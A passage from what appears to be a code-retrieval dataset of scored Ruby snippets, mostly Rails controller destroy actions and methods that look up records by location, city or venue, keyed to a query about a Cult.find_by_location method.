"a4376ade177abbd4d7816d108f0d9279", "score": "0.6463231", "text": "def destroy\n @pit.destroy\n respond_to do |format|\n format.html { redirect_to pits_url, notice: 'Pit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e6ef885c84390b886e5d97d690458d0e", "score": "0.6461121", "text": "def destroy\n @suicide_pick.destroy\n respond_to do |format|\n format.html { redirect_to suicide_picks_url, notice: 'Suicide pick was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "44fc53882b97b8f12457053d75ad4057", "score": "0.64590114", "text": "def destroy\n @perfils_zona = PerfilsZona.find(params[:id])\n @perfils_zona.destroy\n\n respond_to do |format|\n format.html { redirect_to perfils_zonas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ff79312ad9060d7d96221d7490d260b9", "score": "0.6458297", "text": "def destroy\n @podejscy = Podejscie.find(params[:id])\n @podejscy.destroy\n\n respond_to do |format|\n format.html { redirect_to podejscies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fb24f8532835e6a66cafa6fdec4098e8", "score": "0.64573574", "text": "def destroy\n @perfume.destroy\n respond_to do |format|\n format.html { redirect_to perfumes_url, notice: 'Perfume was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "93c8a80cb3898ac000fd5168901f2f83", "score": "0.6454751", "text": "def destroy\n @cohort = @side_trip.cohort\n @side_trip.destroy\n respond_to do |format|\n format.html { redirect_to @cohort, notice: 'Side trip was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6cdffc50571da2cb9dc15def2bf7e94e", "score": "0.64525115", "text": "def destroy\n @precipitation_measurement.destroy\n respond_to do |format|\n format.html { redirect_to precipitation_measurements_url, notice: 'Precipitation measurement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a88a81f26891616f4a6235a9cb5742d6", "score": "0.6452175", "text": "def destroy\n @perfomance = Perfomance.find(params[:id])\n @perfomance.destroy\n\n respond_to do |format|\n format.html { redirect_to perfomances_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8246c7012cf61cedb1bb651ecb51de48", "score": "0.6450472", "text": "def destroy\n @puppy = Puppy.find(params[:id])\n @puppy.destroy\n\n respond_to do |format|\n format.html { redirect_to puppies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "feca64e28bfdecf217376c0d5d76cf6d", "score": "0.64493483", "text": "def destroy\n @panchayat = Panchayat.find(params[:id])\n @panchayat.destroy\n\n respond_to do |format|\n format.html { redirect_to panchayats_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "53d9fb2e98d2d50db5ac244ee9a86a87", "score": "0.64473635", "text": "def destroy\n @pacient = Pacient.find(params[:id])\n @pacient.destroy\n\n respond_to do |format|\n format.html { redirect_to pacients_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5187f370786990242801f9c1f411c20b", "score": "0.6447235", "text": "def destroy\n @pmset.destroy\n respond_to do |format|\n format.html { redirect_to pmsets_url, notice: 'Pmset was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9308dbb69c4d0faa65f0183e7158c1ee", "score": "0.6444201", "text": "def destroy\n @panier.destroy\n respond_to do |format|\n format.html { redirect_to paniers_url, notice: 'Panier was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "410fcf3b564ee2b0288465496c84cea0", "score": "0.6444048", "text": "def destroy\n @pregnancy_trimester_i_examination = PregnancyTrimesterIExamination.find(params[:id])\n @patient = @pregnancy_trimester_i_examination.patients.first\n PatientExamination.where(:pregnancy_trimester_i_examination_id => @pregnancy_trimester_i_examination.id).each {|exam| exam.destroy }\n @pregnancy_trimester_i_examination.destroy\n\n respond_to do |format|\n format.html { redirect_to patient_path(@patient) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7452c4d15daf08108aaa5a1b728adb31", "score": "0.64427024", "text": "def destroy\n @json.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "c89f01ff55828efd4f51d6aa0d867e26", "score": "0.6441949", "text": "def destroy\n @pledger = Pledger.find(params[:id])\n @pledger.destroy\n\n respond_to do |format|\n format.html { redirect_to pledgers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b0c8fe0b1b46379d68420a094f50b910", "score": "0.643737", "text": "def destroy\n @minute = Minute.find(params[:id])\n @minute.destroy\n\n respond_to do |format|\n format.html { redirect_to minutes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "841c82e8c2e4ec1f79de22b91f6bf57d", "score": "0.6433909", "text": "def destroy\n @pontuation.destroy\n respond_to do |format|\n format.html { redirect_to pontuations_url, notice: 'Pontuation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "03362296b93ef7d89a94b0bfa2b82cce", "score": "0.64318126", "text": "def destroy\n @persion = Persion.find(params[:id])\n @persion.destroy\n\n respond_to do |format|\n format.html { redirect_to persions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b642a402f8f9461477805e075151540c", "score": "0.6429973", "text": "def destroy\n @pytum.destroy\n respond_to do |format|\n format.html { redirect_to pyta_url, notice: 'Pytum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c4c3231db5b7050d2ce947ea1e30da40", "score": "0.6429779", "text": "def destroy\n @perseus_record.destroy\n respond_to do |format|\n format.html { redirect_to perseus_records_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c42908275828dc9c23d0a10ba2db3a6a", "score": "0.6429682", "text": "def destroy\n @themengruppe = Themengruppe.find(params[:id])\n @themengruppe.destroy\n\n respond_to do |format|\n format.html { redirect_to themengruppen_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1069aade219f197e33fe1736a9e1e95b", "score": "0.6429405", "text": "def destroy\n @plat = Plat.find(params[:id])\n @plat.destroy\n\n respond_to do |format|\n format.html { redirect_to plats_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "282a7e4570351dba54017892c95dae85", "score": "0.64280796", "text": "def destroy\n @core_patio_porto = Core::PatioPorto.find(params[:id])\n @core_patio_porto.destroy\n\n respond_to do |format|\n format.html { redirect_to core_patio_portos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3da8d3a0646a4a119096090914922682", "score": "0.64261806", "text": "def destroy\n @patrol = Patrol.find(params[:id])\n @patrol.destroy\n\n respond_to do |format|\n format.html { redirect_to patrols_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "226ae5a7f5f4c5f47b983c66449822cf", "score": "0.6425618", "text": "def destroy\n @peep.destroy\n respond_to do |format|\n format.html { redirect_to peeps_url, notice: 'Peep was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9f16024b7a8f54befe01b8172efb6573", "score": "0.6424526", "text": "def destroy\n @pytany = Pytanie.find(params[:id])\n @pytany.destroy\n\n respond_to do |format|\n format.html { redirect_to pytanies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5e67a179e5e688b5f2a7a4eaf907a415", "score": "0.6423463", "text": "def destroy\n @pdp.destroy\n respond_to do |format|\n format.html { redirect_to pdps_url, notice: 'Pdp was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "85c7044c21e0a122761f47f04a77eca8", "score": "0.6419847", "text": "def destroy\n @ppp.destroy\n respond_to do |format|\n format.html { redirect_to ppps_url, notice: 'Ppp was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5ba982c4f44297d7d4afd639a9cbc1e3", "score": "0.64196336", "text": "def destroy\n @paticipant.destroy\n respond_to do |format|\n format.html { redirect_to paticipants_url, notice: 'Paticipant was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6edce2450c504536b54cf006b6a5db4e", "score": "0.64173925", "text": "def destroy\n @perfil.destroy\n respond_to do |format|\n format.html { redirect_to perfils_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ce4959a2ffa6531fe306be50f0c4a69a", "score": "0.64171594", "text": "def destroy\n @path_of_plant.destroy\n respond_to do |format|\n format.html { redirect_to path_of_plants_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b069af6ed882aa3d1229f80526b92fa0", "score": "0.64151156", "text": "def destroy\n @presencia = Presencia.find(params[:id])\n @presencia.destroy\n\n respond_to do |format|\n format.html { redirect_to presencia_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "0a42056b2291186bafa889e49a66c632", "score": "0.64125043", "text": "def destroy\n @pat.destroy\n respond_to do |format|\n format.html { redirect_to pats_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
d2fc2921d937f31c62ee44016660d386
Cult.find_by_location takes a String argument that is a location and returns an Array of cults that are in that location
[ { "docid": "518185891235ebca9041fb023765b8d1", "score": "0.81372046", "text": "def find_by_location(location)\n Cult.all.select {|cult_name| cult_name.location == location}\nend", "title": "" } ]
[ { "docid": "21774d2a660a8b0e943ce530fd0b00b8", "score": "0.6717959", "text": "def find_by_location(location)\n filtered_set(\n all.select { |elm| elm.respond_to?(:location) },\n key: 'location', value: location\n )\n end", "title": "" }, { "docid": "928b9134bb6a45be40114b0b8c66d72e", "score": "0.65573186", "text": "def people_from_location(loc)\n @people.find { |person| person.location == loc }\n end", "title": "" }, { "docid": "0a436b90e72eee7b53e98782e65cdba3", "score": "0.626384", "text": "def find_by_name(name)\n\n Cult.all.select {|cult_name| cult_name.name == name}\n\n end", "title": "" }, { "docid": "ef4406a5cf11c2708743de6b135fc76e", "score": "0.6078306", "text": "def locations\n Array(location)\n end", "title": "" }, { "docid": "87eca9c95890e8a0183126e25ce1e971", "score": "0.6071098", "text": "def find_course_location\n location_ids = []\n\n if location_results_paginated?\n for page_number in 1..total_pages\n jump_to_page(page_number)\n location_ids += fetch_location_ids_from_current_page\n end\n else\n location_ids += fetch_location_ids_from_current_page\n end\n\n location_ids\n end", "title": "" }, { "docid": "9c29a0917e841d24a830e677b6cb641f", "score": "0.60045457", "text": "def get_by_location(location)\n self.categories.select { |category| category.location == location }.first\n end", "title": "" }, { "docid": "9c29a0917e841d24a830e677b6cb641f", "score": "0.60045457", "text": "def get_by_location(location)\n self.categories.select { |category| category.location == location }.first\n end", "title": "" }, { "docid": "720230830ec239411abfa71254bad2a8", "score": "0.5880526", "text": "def find_by_founding_year(year)\nCult.all.select {|cult_name| cult_name.founding_year == year}\nend", "title": "" }, { "docid": "afece724df61a36fd37ed84b738554f6", "score": "0.5851306", "text": "def locations(opts = {})\n find_collection(\"locations\", opts)\n end", "title": "" }, { "docid": "594c394775004146135f6384792198fe", "score": "0.5766341", "text": "def locations\n collect\n end", "title": "" }, { "docid": "56577c865169c5a1227066920f893d8e", "score": "0.57417595", "text": "def get_locations\n\t\tlist = []\n\t\t\n\t\tbegin\n\t\t\tlist = filter_list(CSV.read(\"#{@locations_home}/placesOfInterest.csv\"))\n\t\trescue\n\t\tend\t\n\n\t\t#puts \"Have a list of #{list.count} locations...\"\n\t\tlist\n\tend", "title": "" }, { "docid": "b97e1f9be2e9bfdb7eacc6196f99d495", "score": "0.5732092", "text": "def find_by_venue(location, venue)\n events = Event.all.select do |ev|\n (venue.downcase == ev.venue.name.downcase) && (location.downcase == ev.venue.location.downcase)\n end\n end", "title": "" }, { "docid": "324e4def14e634031def9bd81222469a", "score": "0.5698303", "text": "def look_locations\n @location = Location.find_by(patient_id: params[:patient_id])\n end", "title": "" }, { "docid": "c5aa296aa895e2c30fb61cb09546b79d", "score": "0.5678236", "text": "def locations\n @locations = [{:selected => 0, :content => Location.roots.order(:name)}]\n if params[:selected]\n location = Location.find_by_id params[:selected]\n @locations = location.select_with_selected(true) if location\n end\n if params[:search_by_code_type]\n location = Location.where(:sti_type => params[:search_by_code_type], :code => params[:search_by_code]).first\n @locations = location.select_with_selected(true) if location\n end\n end", "title": "" }, { "docid": "88f7b46ff7d0d54e282dff2662f6adf6", "score": "0.56550026", "text": "def get_locations\n\t\t\n\t\tlist = []\n\t\t\n\t\tbegin\n\t\t\tlist = filter_list(CSV.read(\"#{@locations_home}/placesOfInterest.csv\"))\n\t\trescue\n\t\tend\t\n\n\t\tputs \"Have a list of #{list.count} locations...\"\n\t\tlist\n\tend", "title": "" }, { "docid": "a68611268b88951182c9e53ccb2c75a6", "score": "0.56358635", "text": "def locations()\n locations_array = [];\n\n self.classrooms.each do |classroom|\n locations_array << classroom.zone.name \n end\n\n locations_array\n end", "title": "" }, { "docid": "739a9839dce2c753f05d38965bf3cad0", "score": "0.55780905", "text": "def suspects_by_location(loc, case_name)\r\n suspects = suspects_by_case(case_name).select {|s| s.location == loc}\r\n suspects.map {|s| s.name} \r\n end", "title": "" }, { "docid": "c10f6c029363e428df18cef3a347c15b", "score": "0.5566261", "text": "def cults\n bloodoaths.select do |bloodoath|\n bloodoath.cult\n end\n end", "title": "" }, { "docid": "028f875b0d98e8f94792f1af40d3c6e8", "score": "0.5562204", "text": "def list_locations\n list_groups(list_organizational_units.select { |g| g.match?(/^OU=Location/) }.first)\n end", "title": "" }, { "docid": "9e6d0d9414e9f372b0acf257c5359776", "score": "0.55202514", "text": "def find_locations_for_select(object)\n if object and object.location\n @country_subdivisions = CountrySubdivision.sorted.find_all_by_country_id(object.location.country)\n @cities = City.sorted.find_all_by_country_subdivision_id(object.location.country_subdivision)\n else\n @country_subdivisions = CountrySubdivision.sorted.find_all_by_country_id(Country.current)\n @cities = []\n end\n end", "title": "" }, { "docid": "4beab845516fa78aa35a8e92cf525b6b", "score": "0.550787", "text": "def find_by_city(substring)\n return [] if blank?(substring)\n\n all.select do |bank|\n bank.city.index(substring)\n end\n end", "title": "" }, { "docid": "7f2bae22e5b45d5e51ad8122dc481c75", "score": "0.5494041", "text": "def get_specific_locations(array_of_song_words)\n locations = array_of_song_words.select do |word|\n Location.find_by(name: word)\n end\n locations.uniq\n end", "title": "" }, { "docid": "73991b22a48c4b4e8c76930c9fe0f34c", "score": "0.5484063", "text": "def GetPlacesByCategory\n\t\ttoFind = params[:places]\n\t\t\n\t\t\n\t\t@category = Place.find_by_sql(\"SELECT places.* FROM places WHERE \" + toFind + \" = ANY (category)\")\n\t\t\n\t\t@places = Place.all\n\tend", "title": "" }, { "docid": "17f3212042bc1350c41c22ae22a3642f", "score": "0.5471815", "text": "def at_location location\n section_results = target.select { |match| match.is_a? SectionMatch }\n location_results = section_results.select { |match| match.location == location }\n MatchList.new location_results\n end", "title": "" }, { "docid": "aac5b54c6e359f841f6b5a45a88faa4c", "score": "0.54436225", "text": "def find_location(quest_id, cat = nil)\n if revealed?(quest_id)\n categories = $game_system.quest_categories.dup\n # If cat specified, check in that category first.\n if cat && categories.include?(cat)\n categories.delete(cat)\n categories.unshift(cat)\n end\n for category in categories # Check all categories\n index = list(category).index(@data[quest_id])\n return category, index if index != nil\n end\n end\n return nil, nil\n end", "title": "" }, { "docid": "bcd37f4810b7b1cd0f3957194a192df2", "score": "0.5423787", "text": "def find_treasure_by_location(location)\n @treasures.detect {|treasure| treasure.location == location}\n end", "title": "" }, { "docid": "7226df483d8b50ded5acbb4b8bf1936b", "score": "0.54231954", "text": "def search_se(location)\n result = []\n if location == 0 \n 3.times do |x| \n result << @letters[location + (x+1) * 5].letter\n end\n end\n if location == 1 || location == 4 || location == 5 \n 2.times do |x| \n result << @letters[location + (x+1) * 5].letter \n end \n end\n return result \n end", "title": "" }, { "docid": "ebe94afbfbdde44b4f911c46566ad0bd", "score": "0.54219735", "text": "def get_locations\n ret=[]\n classe=self.student_class_school\n teachings=classe.teachings.to_a\n teachings.each do |teaching|\n ret << teaching.teaching_location unless ret.include? teaching.teaching_location\n end\n ret\n end", "title": "" }, { "docid": "9f1f4dcc7f95595ec801ad81ed385601", "score": "0.5420867", "text": "def get_city(city_name)\n location_array = Accuweather.city_search(name: \"#{city_name}\")\n city = location_array.first\nend", "title": "" }, { "docid": "ae01a02f772cb97839520046838e9051", "score": "0.5386083", "text": "def search_by_location\n location_list\n puts \"SELECT A LOCATION TO SEE ALL PRODUCTS IN THAT LOCATION(USE ID)\"\n search_in = gets.to_i\n results = Product.search_where(\"products\", \"category_id\", search_in)\n results.each do |r|\n r.display_attributes\n end\n end", "title": "" }, { "docid": "45adc32543a8979c3c555c32397fbab8", "score": "0.5367057", "text": "def get_locations\n location_references =\n lighthouse_appointments.map do |appt|\n reference = appt.resource.participant.first.actor.reference\n\n reference.match(ID_MATCHER)[1]\n end\n\n location_references.each_with_object([]) do |ref, accumulator|\n loc = location_service.get(ref)\n # We're hard coding the identifier value until the Lighthouse team\n # adds this to the Location resources in their Health API.\n # This hard coding will be removed by the end of the sprint\n # scheduled to be completed by 03-23-21\n #############################\n idf = FHIR::Identifier.new\n idf.value = 'vha_534_12975'\n loc.resource.identifier = idf\n #############################\n accumulator << loc\n end\n end", "title": "" }, { "docid": "e432a66f9a1524e5407b1b744ab86c8c", "score": "0.53632534", "text": "def search(lat, lng, options = {})\n origin = FindIt::Location.new(lat, lng, :DEG)\n\n search_options = {}\n options.each do |k, v|\n next if v.nil? || v.empty?\n case k\n when :time\n begin\n search_options[k] = Time.parse(v)\n rescue ArgumentError\n # ignore\n end\n when :max_distance, :max_locations\n search_options[k] = v\n else\n raise \"bad option \\\"#{k}\\\" specified\"\n end\n end\n\n places = []\n a = VoteATX::VotingPlace::ElectionDay.search(@db, origin, search_options)\n places << a if a\n places += VoteATX::VotingPlace::Early.search(@db, origin, search_options)\n return places\n end", "title": "" }, { "docid": "7c9d13ad7b08a685170f72779fb01152", "score": "0.5350256", "text": "def location_city(location)\n define_locations(location)\n @city\n end", "title": "" }, { "docid": "df7ebba9c4675b78018567af647816ac", "score": "0.5343263", "text": "def find_representatives(location)\n # Load the MQL query from disk\n query = Freebase.parse_query(File.join(RAILS_ROOT, 'queries', 'find_representatives_by_political_district.mql').to_s)\n \n # Fill in the IDs of the political districts we're looking for.\n regions_ids =[]\n regions_ids << location.municipal_ward\n regions_ids << location.provincial_riding\n regions_ids << location.federal_riding\n query[0][\"filter:id|=\"] = regions_ids\n \n # Send the query to Freebase.com via the read service API\n freebase_data = Freebase.read(query)\n \n @districts = {}\n @representatives = {}\n @representatives_by_district = {}\n \n # Parse the results of the query and create mappings between the respresntatives and the districts\n # that they represent.\n freebase_data.each { |district|\n @districts[district[\"id\"]] = district\n if district[\"representatives\"]\n role = ''\n if district[\"id\"] == location.municipal_ward\n role = \"City Councillor\"\n elsif district[\"id\"] == location.provincial_riding\n role = \"Member of Provincial Parliament\"\n elsif district[\"id\"] == location.federal_riding\n role = \"Member of Parliament\"\n end\n district[\"representatives\"][\"office_holder\"][\"role\"] = role\n @representatives[district[\"representatives\"][\"office_holder\"][\"id\"]] = district[\"representatives\"][\"office_holder\"]\n @representatives_by_district[district[\"id\"]] = district[\"representatives\"][\"office_holder\"]\n end\n }\n end", "title": "" }, { "docid": "66446ed81f4aca4f3501bd6c3c041cde", "score": "0.53375417", "text": "def find_city(name)\n end", "title": "" }, { "docid": "6669ffa7ed30d4e03f9b0afd18205ecc", "score": "0.5335536", "text": "def search_guests\n guests = []\n @locations.each do |user_location|\n distance = DistanceCalculator.new(@office_latitude, @office_longitude, user_location[\"latitude\"], user_location[\"longitude\"]).distance_between_2_points\n guests << user_location if distance <= @radius_range\n end\n guests.sort! {|k,v| k[\"user_id\"] <=> v[\"user_id\"] }\n end", "title": "" }, { "docid": "5e50182c6bdae4f26ed7842f759b0076", "score": "0.5334897", "text": "def get_locationcategories(params = {})\n request_list('locationcategories', params).map do |details|\n Ncdc::Results::LocationCategory.new(details)\n end\n end", "title": "" }, { "docid": "a9119e6fabfb014f1698172af4d2d262", "score": "0.5330087", "text": "def find_by_city(substring)\n all.select do |bank|\n bank.city.index(substring)\n end\n end", "title": "" }, { "docid": "b5b5334893aee549f105bd57e32b15f7", "score": "0.531335", "text": "def locations(options={})\n locator.to_a\n end", "title": "" }, { "docid": "b5c1926c78030d31637338a0c0409864", "score": "0.53127044", "text": "def cities(state=nil)\n state = state.to_s rescue nil\n state_condition = state.blank? ? '' : \" and locations.state='#{state}' \"\n\n polymorphic_association = \" FROM locations, #{self.table_name} locatable where locations.locatable_id = locatable.id and locations.locatable_type = '#{self.name}' \"\n\n hash_nbs = self.find_by_sql [\"SELECT distinct city #{polymorphic_association} #{state_condition}\", 'city']\n hash_nbs = hash_nbs.collect {|nb| nb['city']}\n hash_nbs.compact.sort\n end", "title": "" }, { "docid": "66485c4ed87f5fc8f4c617b20b7ba2ad", "score": "0.53060627", "text": "def locations()\n self.contracts().map() { | contract | contract.location }\n end", "title": "" }, { "docid": "d785cb8f1733657c32c840c4c56c2e9a", "score": "0.5304115", "text": "def lookup_by_location(location, unit = Units::CELSIUS)\n acceptable_units = [Units::CELSIUS, Units::FAHRENHEIT]\n unit = Units::CELSIUS unless acceptable_units.include?(unit)\n\n # per the documentation here: https://developer.yahoo.com/weather/\n # can look up the woeid via geo places api from location\n url = ROOT + \"?q=select * from weather.forecast where woeid in (select woeid from geo.places(1) where text='#{location}') and u='#{unit}'&format=json\"\n url = URI.escape(url)\n\n doc = get_response url\n Response.new location, url, doc\n end", "title": "" }, { "docid": "9208ca96760f3852a5e1204d8a8e767e", "score": "0.53018785", "text": "def do_place_search term\n places = Place.find_all_by_ascii_name_or_alternate_names(term)\n if places.empty?\n terms = term.split(\",\")\n places = Place.find_all_by_ascii_name_or_alternate_names(terms[0])\n if places\n places.each do |place|\n if place.county_name == terms[1].strip\n places = [place]\n break\n end\n end\n end\n end\n places\n end", "title": "" }, { "docid": "ce2ec628c2b9284b38365242214fbc92", "score": "0.52877575", "text": "def search\n customers = []\n @locations.each do |user_location|\n distance = DistanceCalculator.new(@home_latitude, @home_longitude, user_location[\"latitude\"], user_location[\"longitude\"]).distance_between_2_points\n customers << user_location if distance <= @within_radius\n end\n customers.sort! {|x,y| x[\"user_id\"] <=> y[\"user_id\"] }\n end", "title": "" }, { "docid": "6b35871c1e132222df7500f176642026", "score": "0.52876765", "text": "def get_item_sample_location(collection, part)\n location_array = collection.find(part)\n return location_array\n end", "title": "" }, { "docid": "a3a6e778a1e0130fbca517165de6a714", "score": "0.5274666", "text": "def find_hometown(data, hometown)\n all_contestants(data).select {|hash| hash[\"hometown\"] == hometown}\nend", "title": "" }, { "docid": "67258a5f4777cc960e128554c55a1e12", "score": "0.52664477", "text": "def parse_where(arg)\n result = nil\n if x = parse_string(arg, 100)\n if (loc = Location.safe_find(x)) or\n (loc = Location.find_by_sync_id(x)) or\n (loc = Location.find_by_name(x))\n result = [loc, nil]\n else\n result = [nil, x]\n end\n end\n return result\n end", "title": "" }, { "docid": "8aaab0fe4bd8cd5fdfe7c3b4a7e8d4a5", "score": "0.5265796", "text": "def find_location\n current_company.locations.find(params[:location_id])\n end", "title": "" }, { "docid": "5a74e835a580b25c5392cff2555a8750", "score": "0.52628523", "text": "def list_by_location(location, options = {})\n url = url_with_api_version(api_version, base_url, 'providers', provider, 'locations', location, service_name)\n response = rest_get(url)\n get_all_results(response, options[:skip_accessors_definition])\n end", "title": "" }, { "docid": "7ec8fc5ff55200c8eee5328a71cdbbda", "score": "0.52533233", "text": "def convert_location(location)\n converted_location = [@rows.index(location[1]), \n @columns.index(location[0].upcase)]\n end", "title": "" }, { "docid": "4abfa61738c94a3decc0f12a85cdc715", "score": "0.5252208", "text": "def places\n Atlas::Place.find_from_search(*(query[:places] || []))\n end", "title": "" }, { "docid": "bda7f65928a1c010fd744fa38e0bd7f8", "score": "0.5252161", "text": "def verify_city_location\n Country.all(:conditions => \"language='en'\").each do |country|\n location = MultiLanguage::Location.geocode(country.name)\n bounds = location.suggested_bounds\n\n City.with_location.all(:conditions => ['language=:lang and country_id=:country', {:lang => 'en', :country => country.id}]).each do |city|\n if City.find_within_bounds(bounds, :conditions => {:id => city.id}).count > 0 then\n #p \"#{city.name} - OK\"\n else\n p \"#{city.id} - #{city.name} - FAILED\"\n end\n end\n end\n end", "title": "" }, { "docid": "ab9c6772366c08a6e0e9ad62166edcb2", "score": "0.52426755", "text": "def find_all_spots_by_location(arg)\n list = Listing.where(location: arg)\n list.each do |listing|\n puts \"#{listing.title}: #{listing.price} (#{listing.location})\".colorize(:blue)\n end\nend", "title": "" }, { "docid": "422d78654fc813965bb0891a54c10a0f", "score": "0.52330667", "text": "def loc_south_pav\n self.select {|e| [\"NEUROLOGY SOUTH PAVILION\", \"NEUROLOGY HUP\"].include?( e[\"Department\"] ) }\n end", "title": "" }, { "docid": "408ba7bbf7553db53f1edd65ff7aa07b", "score": "0.5229552", "text": "def check_location\n @location = Geocoder.search(session[:location])\n @location = @location.first.coordinates\n @meals = @meals.select do |meal|\n meal.chef.user.distance_to(@location) < meal.chef.delivery_range\n end\n end", "title": "" }, { "docid": "0e2cb093632b5a9d1e64aa2af32ccbac", "score": "0.52237904", "text": "def activity_by_location\n @location = :location\n @activity_by_city = Activity.where({location: params[:location]})\n if @activity_by_city\n render :json => {\n :data => @activity_by_city\n } else {\n :error => 'No activites found for this city.'\n }\n end\n end", "title": "" }, { "docid": "81ba06e02365c1a1865bbc30de725441", "score": "0.52197045", "text": "def get_holdings_by_location_code(bib_record = nil, location_code = nil)\n return [] if bib_record.blank? || bib_record.holdings.blank?\n return [] if location_code.blank?\n\n found_holdings = []\n bib_record.holdings.each do |holding|\n found_holdings << holding if holding[:location_code] == location_code\n end\n found_holdings\n end", "title": "" }, { "docid": "5d3117a8ff90bbee5ab5c528f76e3aed", "score": "0.52185166", "text": "def search(lat, lon, radius = 800, limit = 10, category_id)\n @venues = @fq.get(\"search?\", {:ll => \"#{lat},#{lon}\", :intent => \"browse\",\n :limit => limit, :radius => radius, :categoryId => category_id})\n # check if foursquare is alive\n return [] if @venues[\"venues\"].nil?\n # map the venues into objets\n @places = []\n @places += @venues[\"venues\"].map do |item|\n Wrapsquare::Place.new(item, @user_id, @user_pos)\n end\n return @places\n end", "title": "" }, { "docid": "7255d7df357da048c442f4fa51be8b61", "score": "0.5203047", "text": "def holdings_at location_prefix\n HoldingsRecordsCollection.new(select {|h| h.local_location.downcase.include? location_prefix.downcase })\n end", "title": "" }, { "docid": "738c43151c06ddcf9cd3ffc4c4a897b6", "score": "0.5199304", "text": "def rpc_get_location value\n if value == ''\n yield []\n else\n ret = []\n docs_with_count($r.table('location').filter{|doc| doc['description'].match(\"(?i).*\"+value+\".*\")}) do |count, row|\n ret << row\n if ret.length == count\n yield ret\n #break\n end\n end\n end\n end", "title": "" }, { "docid": "274bbc5f9a967a8dfdae9527859e7221", "score": "0.5176179", "text": "def codeFinder (city_name, areacodes)\n search = areacodes[city_name]\n return search\nend", "title": "" }, { "docid": "7133d23405984444fa8d798d263ddde5", "score": "0.51735204", "text": "def GeoLookup( loc )\n\n end", "title": "" }, { "docid": "87b9d162fd019771ef988f7f677b963c", "score": "0.51730484", "text": "def get_city(name)\n @cities.select { |a| a.name == name }.first\n end", "title": "" }, { "docid": "fa0903b85d8ecabf6e05c4d0ebe3ea4c", "score": "0.5161217", "text": "def get_all_locations\n @locations = []\n Location.all.each do |location|\n @locations.push( location )\n end\n end", "title": "" }, { "docid": "529ad93771559e943b0a7cec08946718", "score": "0.51610833", "text": "def location\n location = gcmd.locations? ? gcmd.locations : []\n\n polar = {\"Location_Category\" => \"GEOGRAPHIC REGION\", \"Location_Type\" => \"POLAR\"}\n arctic = {\"Location_Category\" => \"GEOGRAPHIC REGION\", \"Location_Type\" => \"ARCTIC\"}\n\n (placenames||[]).each do | p |\n\n area = p.area\n if p.area? and p.area == \"\"\n area = p.placename\n end\n\n case area\n\n when /^(Svalbard|Jan Mayen)$/ then\n location << {\n \"Location_Category\" => \"OCEAN\",\n \"Location_Type\" => \"ATLANTIC OCEAN\",\n \"Location_Subregion1\" => \"NORTH ATLANTIC OCEAN\",\n \"Location_Subregion2\" => \"SVALBARD AND JAN MAYEN\",\n \"Detailed_Location\" => p.placename\n }\n location << polar\n location << arctic\n\n when /^(Dronning Maud Land|Antarctica|Antarktis)$/ then\n location << {\n \"Location_Category\" => \"CONTINENT\",\n \"Location_Type\" => \"ANTARCTICA\",\n \"Detailed_Location\" => p.placename\n }\n location << polar\n\n when /^(Bouvetøya|Bouvet Island)$/\n location << {\n \"Location_Category\" => \"OCEAN\",\n \"Location_Type\" => \"ATLANTIC OCEAN\",\n \"Location_Subregion1\" => \"SOUTH ATLANTIC OCEAN\",\n \"Location_Subregion2\" => \"BOUVET ISLAND\",\n \"Detailed_Location\" => p.placename\n }\n location << polar\n\n when \"Peter I Øy\" then\n locations << {\n \"Location_Category\" => \"OCEAN\",\n \"Location_Type\" => \"PACIFIC OCEAN\",\n \"Location_Subregion1\" => \"SOUTH PACIFIC OCEAN\",\n \"Detailed_Location\" => p.placename\n }\n locations << polar\n locations << {\n \"Location_Category\" => \"CONTINENT\",\n \"Location_Type\" => \"ANTARCTICA\",\n \"Detailed_Location\" => p.placename\n }\n end\n\n end\n location.uniq\n end", "title": "" }, { "docid": "41b7433a23b569b07b4ceda7b69df2d9", "score": "0.5159581", "text": "def available_hotels(location_id, from_date, to_date, perimeter=5000, maxResults=0, minCategory=0, roomType=\"single\", adultCount=1, orderKey=\"price\", orderDirection=\"ascending\" )\n begin\n locationCriterion = \"<fuzzySearch xmlns:xsi='...' xsi:nil='true' />\"\n locationCriterion += ct(\"locationId\", location_id)\n locationCriterion += ct(\"perimeter\", perimeter)\n \n searchCriterion = ct(\"locationCriterion\", locationCriterion) \n searchCriterion += ct(\"minCategory\", 